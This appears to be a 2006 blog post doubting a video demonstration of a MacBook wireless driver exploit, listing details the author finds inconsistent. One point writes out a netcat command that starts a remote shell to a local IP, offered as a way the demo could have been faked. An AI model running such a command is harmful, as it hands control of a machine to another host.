« Coming to a KisMac ne… | Home | Linux... in the palm … »

It doesn't all add up...

06 08 06 - 13:01 http://blog.washingtonpost.com/securityfix/2006/08/hijacking_a_macbook_in_60_seco.html
Video of an exploit against a wifi driver.

What doesn't add up?

1. What is that white thing he plugs into the MacBook? He says it's a third party wireless card. Which one is it?




2. Why is everyone reporting it as a sign that Apple is insecure if the flaw supposedly is in every device with said card. Shouldn't it be the fault of the manufacturer of the card?

3. It's only a guess that Atheros is responsible, we don't know what that white thing is. It's not an ExpressCard - the MacBook lacks an ExpressCard slot. It kinda looks like it has USB on the end. It's not an ExpressCard, or a PCMCIA card. The MacBook only has a power connector, two USB, one FireWIre, a monitor, and sound ports on the side. It could be USB, but a device that big hanging off a USB port would be stupid as it would be easily broken off. It must be connected to the USB port though - there's nowhere else to put it. So what is it?

4. Some people have been claiming it's fake because they didn't give a live demo. Their reason for not giving a live demo (someone might capture the exploit, and use it themselves) is understandable. But of course, every bit of "proof" in the video could have been faked.

5. He walks around the table to show there are no wires. So? What prevents the exploit from working wirelessly?

6. Someone COULD have just edited out the bit where he turns to the MacBook and types "nc -e "/bin/sh" 192.168.1.1 1234" (yes, i know that OS X's netcat isn't compiled with -e in there, but it can be added). The shell starts within that person's home directory too - which is very strange. Surely, it would start somewhere different if it was started by the device driver.

7. Why did he type "bash" at the terminal on the Mac?

8. ifconfig doesn't add up either. We can see wlt1 on it, but last time I checked, that driver didn't do the monitor mode interface (maybe he's found out a way to enable it, or maybe i'm mistaken on that one. I'm only going from what I heard when we were first trying to get KisMac going on the MacBookPro, which has the same card. KisMac works in passive mode on that computer, but I heard it worked with the en1 interface instead. I should actually check the sourcecode of KisMac. I have that wlt1 interface enabled on my PB G4 (it's just a case of setting <true/> to <APMonitorMode> in the XML file), but that's a different computer, different card. I will have to further investigate that one - one of my friends has a black macbook.)



Also, we see only en0 and en1. Below that, we see the shell prompt. So the output was cut off.

9. Also, unfortunately, we don't see the whole commandline of the exploit. The "target" MAC address was off the edge of the camera. That could have been useful.

The comments on that article are interesting- it's clear nobody seems to have much of an idea what they are talking about, and are just flaming everyone else. Obviously nobody actually watched the video, or even heard him say "It's not the fault of the Mac OS as we are using third-party hardware here".

Oh, and the "victim" MacBook has the same internal IP as this server. Is that a bad sign?

I'm not saying this didn't happen, and I'm not denying it's possible. I think it was some good work finding and exploiting a device driver flaw, but the video could probably have been clearer as to what exactly happened, and what was achieved.

In fact, I'm impressed with this - link - some of their past work.

Update: Since then, their website has been updated, to make it more clear that it was not anything Apple that was exploited. However, everyone else reporting this seems not to see this fact.